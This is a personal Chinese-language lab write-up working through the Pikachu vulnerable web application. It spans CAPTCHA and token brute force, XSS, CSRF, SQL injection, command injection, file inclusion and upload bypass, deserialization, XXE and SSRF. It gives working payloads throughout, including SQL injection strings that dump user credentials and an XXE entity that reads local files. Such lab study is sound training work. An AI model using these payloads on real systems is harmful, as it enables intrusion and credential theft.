pikachu靶场

验证码绕过(on server)

这种是对验证码只要页面不刷新,就可以一直进行密码,账号的尝试

无条件不刷新是指在某一时间段内,无论登录失败多少次,只要不刷新页面,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解

测试:ctrl+r发送重发器,尝试修改

验证码绕过(on client)

发现本地审核元素的label标签,并且明显和在服务器的不一样,服务器是随机生成的在网站上的一个php网站加一些代码

image-20210804191102672

image-20210804191111850

两种方法

1

爆破前直接删除vscode

2

直接爆破在intruder

3

直接删除label的审核标签

toke的随机

主要是选择pitchfork进行爆破

token线程传递1

因为自己的是专业版,没有低线程...

在二的里面

选择

image-20210804215052026

在GREP-Extract中获取响应包,从中提取参数

image-20210804215203403

img

然后爆破

dom的xss

HTML DOM Node Tree

就是先闭合href的利用onclick

尝试

' onclick="alert(1)">

或者

# ' onclick =alert(1)>
#是用来指导浏览器动作的,对服务器端完全无用, 客户端提交请求的时候, 不会将#后面的内容考虑进去

单引号闭合href属性的双引号

dom 2

还是先闭合href

跟上面的一样

2

也可以通过闭合然后图片滚动就显示

' > <img src="chenyouxiu" onmouseover="alert(1)">

主要还是闭合href

htmlspecialchars

image-20210804230803055

主要进行了转义

&:转换为&amp;

":转换为&quot;

':转换为成为 '

<:转换为&lt;

>:转换为&gt;

而且还对前面的进行了闭合>

老样子

先闭合'

image-20210804231558575

href输出

用单引号,还是单引号,没有闭合

输入发现是啥就是啥

直接js代码

image-20210804232556106

xss弹窗之js

直接闭合

image-20210804233256582

</script><script>alert(1)</script>

CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏

网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:

对敏感信息的操作增加安全的token;
对敏感信息的操作增加安全的验证码;
对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等

get型csrf

直接通过连接进行修改

post

kali克隆网站项目

sql post

image-20210805145132801

还是老方法

sql get

手打吧,回忆回忆,也不能一直依靠工具

查看列注入发现报错

image-20210805150206637

进行正常闭合

那就两列

然后用联合看有效列回显

1' union select 1,2#

image-20210805150256138

查看数据库和版本信息

image-20210805150406189

不是自己搭的网站,看到用乌班图搭的网站

然后数据库为pikachu

接着看表

1' union select table_name,2 from information_schema.tables where table_schema='pikachu'#

image-20210805150858434

查看users的列,里面有用户

1' union select column_name,2 from information_schema.columns where table_schema='pikachu' and table_name='users'# 

image-20210805151937444

直接用户密码查看

1' union select username,password from users#1' union select username,password from pikachu.users#

image-20210805152119457

md5解密即可

搜索行注入

花里胡哨

和上面的一样,这个是4列

提示说%%,自己感觉想sql里的模糊查询,就是不过滤,都显示出来了

xx型入

1’

看报错信息

image-20210805152850442

通过闭合报错可知,这是一个括号里面的,类似(' xxx ')所以直接闭合后面的

') order by 2#输入三是报错的,接下来还是跟上面一样
') union select table_name,2 from information_schema.tables where table_schema='pikachu' #
') union select column_name,2 from information_schema.columns where table_schema='pikachu' and table_name='users'#
') union select username,password from users#

insert/update 注入

因为注册信息发现是连着的

尝试注入看信息

image-20210805162856141

根据抓包感觉数据库应该类似这种

insert into (’xxx‘,xxx,xxx,xxx) value(‘xxx’,xxx,xxx,xxxx);

难搞...

根据闭合先闭合最后的value的赋值

payload: 适用于字符型:
' or updatexml(1,concat(0x7e,(database())),0) or '
Updatexml(a,Xpath,b) 在文档a中,查找 Xpath 格式的内容 替换 b内容
适用于数字型:
' or extractvalue(1,concat(0x5e24,(database()))) or '
concat的意思是对括号内的字符串进行连接,如果有null就返回null
Updatexml(1,concat(0×7e,b)
原理:
当参数Xpath路径语法错误时,就会报错,将xpath_expr中内容当作sql语句执行后结果和报错结果一同返回

然后对database()进行修改查询

' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) or '

image-20210805190114533

数据最多只能有一列

那就分割看

group_concat

这个其实一开始语法也不会,查了资料才明白
group_concat就是默认的把前一相同字段的分别成行按照从小到大排列,然后用逗号隔开在默认情况下
如果设置隔开方式,可以在group_concat添加separator ';'就是以;分开
当然也可以limit来查看
1
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),0) or '
2
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or '

image-20210806094422221

然后接着根据表看列

' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users')),0) or '

image-20210806094855027

然后接着看id和passowrd

' or updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)),0) or '

一般用户是按照权限排序,多以第一个是admin,又因为感觉不好看,加个~来区分username和passwor

也可以

' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),0) or '

image-20210806100432862

然后根据username对照

delete注入

尝试sqlmap

点搞错了

来想着是message

然后删除时发现get请求和id注入点

image-20210806101621389

image-20210806101655448

image-20210806101901362

bp的方法

bp发现记录ua和agent,尝试火狐模块更改ua

报错

image-20210806110314724

与bp抓包数据对比闭合

image-20210806110606941

老样子闭合

dddd

盲注

get嘛

sqlmap

时间盲注

sqlmap会解决一切

哈哈哈哈哈

image-20210806111752932

宽字节注入

emm

image-20210806113753871

进行了转义

image-20210806113810085

空格用+,‘用%23,#用的是%23,都是在提交服务器是转移的,进行url的编码

因此需要找不闭合的

或者宽字节注入

直接sqlmap

sqlmap.py  -u "xxx?id=xx" --tamper unmagicquotes.py --dbs

使用了脚本

这样还不行,要把等级测试跳到3,才行,因为1太基本了扫描

image-20210806115210822

工具了

该手了,不会

RCE

让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台

ping

利用管道符,类似dvwa

image-20210806173057610

win
| 
管道符,前面命令标准输出,后面命令的标准输入
&
先运行命令A然后运行命令B
||
运行命令A,如果失败则运行命令B
&&
运行命令A,如果成功则运行命令B

eval

image-20210806173519500

最基本的eval函数调用的phpinfo();

文件包含漏洞

在各种开发语言中都提供了内置的文件包含函数,一个代码文件中直接包含(引入)另外一个代码文件

include(),include_once()
require(),require_once()

require 会生成致命错误并停止脚本

include 只会生成警告,并继续脚本

linux的根目录的/etc/passwd

本地文件包含漏洞

仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的

更多的会包含一些固定的系统配置文件,从而读取系统敏感信息

远程文件包含漏洞

通过url地址对远程的文件进行包含

当然就是file拉

本地

就一直向上翻

2333

远程

可以利用远程包含漏洞,将自己服务器上的文件下载到被人的服务器上

开启自己的网站根目录添加文件,远程访问

防范策略

白名单上传类型

更新iis服务器,防止图片解析

尽量不要将文件包含函数对应的文件放给前端进行选择和操作

配置php.ini配置文件:

allow_url_fopen = off url文件包含

allow_url_include=off url 的include包含

magic_quotes_gpc=on 魔术引号的开启

不安全下载

抓包

指定访问下载

image-20210806180803198

image-20210806180900437

文件上传漏洞

基本的

--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;

客户端

上传php被拦截

本地的

去掉验证函数就行了

服务端

上传改类型

还有一种

文件验证

自己用的c32改的

对文件的大小和类型进行了限制

让我想起了最近的上传的一个,但是权限只有只读...

或者cmd

copy /b 图片 + php文件  新生成的图片

这个需要文件包含漏洞

image-20210806210423917

如果不使用文件包含,会只显示图片

越权

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。

越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

在在权限管理中应该遵守:

                    1.使用最小权限原则对用户进行赋权;
                    2.使用合理(严格)的权限校验规则;
                    3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

水平越权

看地址改,就行

垂直越权

直接根据cookie来

目录遍历

直接dir的目录

敏感信息泄露概述

---通过访问url下的目录,可以直接列出目录下的文件列表;
--输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
--前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。

因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。

上一个就是第一个的问题,直接列出目录下的文件列表

前端源码的污染,就像最近的qq邮箱的js参数的前端的alert(1)

find abc

审核元素

PHP反序列化

序列化serialize()

把一个对象变成可以传输的字符串

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

反序列化unserialize()

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu

如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

根据代码

直接提交

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

xxe

xml外部实体注入漏洞

攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题

服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入

之前听过这个类似的课的相关的,但这个漏洞基本上

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///C://ip.txt">//这个是的文件的内容
]>
<x>&f;</x>

url重定向

懂得都懂dddd

ssrf

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()  

curl

curl_exec :执行一个cURL会话。

这一题可以简单地理解为一种内网探测

host文件获取

file://c:windowssystem32driversetchosts

web指纹识别

http://localhost/phpmyadmin/readme

file_get_contents()

把整个文件读入一个字符串中

可以对本地和远程的文件进行读取

跟上面的差不多

做了不到两天,还是很菜,下次会把这个的代码看了再理解一遍

别人都在不停的努力,自己又怎么会停
原文地址:https://www.cnblogs.com/chenyouxiu/p/15112556.html